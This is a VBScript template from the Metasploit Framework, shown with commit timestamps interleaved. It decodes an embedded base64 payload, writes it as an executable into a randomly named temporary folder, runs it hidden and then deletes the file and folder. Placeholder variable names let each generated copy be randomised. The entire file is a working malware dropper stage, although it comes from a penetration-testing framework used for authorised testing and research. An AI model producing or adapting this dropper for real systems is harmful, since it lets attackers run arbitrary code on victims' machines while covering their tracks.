metasploit-framework/data/templates/scripts/to_exe.vbs.template

35 lines
1.3 KiB
Plaintext
Raw Normal View History

2016-03-25 13:52:16 +00:00
Function %{var_decodefunc}(%{var_decodebase64})
%{var_xml} = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
%{var_decodebase64} & "</B64DECODE>"
Set %{var_xmldoc} = CreateObject("MSXML2.DOMDocument.3.0")
%{var_xmldoc}.LoadXML(%{var_xml})
%{var_decodefunc} = %{var_xmldoc}.selectsinglenode("B64DECODE").nodeTypedValue
set %{var_xmldoc} = nothing
End Function
2013-08-20 23:52:58 +00:00
Function %{var_func}()
%{var_shellcode} = "%{base64_shellcode}"
2013-08-20 23:52:58 +00:00
Dim %{var_obj}
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
Dim %{var_tempdir}
Dim %{var_basedir}
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
%{var_obj}.CreateFolder(%{var_basedir})
%{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}"
2013-08-20 23:52:58 +00:00
Dim %{var_shell}
Set %{var_shell} = CreateObject("Wscript.Shell")
2016-03-25 13:52:16 +00:00
%{var_decoded} = %{var_decodefunc}(%{var_shellcode})
Set %{var_adodbstream} = CreateObject("ADODB.Stream")
%{var_adodbstream}.Type = 1
%{var_adodbstream}.Open
%{var_adodbstream}.Write %{var_decoded}
%{var_adodbstream}.SaveToFile %{var_tempexe}, 2
2013-08-20 23:52:58 +00:00
%{var_shell}.run %{var_tempexe}, 0, true
2016-03-01 02:50:56 +00:00
%{var_obj}.DeleteFile(%{var_tempexe})
2013-08-20 23:52:58 +00:00
%{var_obj}.DeleteFolder(%{var_basedir})
End Function
2016-03-25 13:52:16 +00:00
%{init}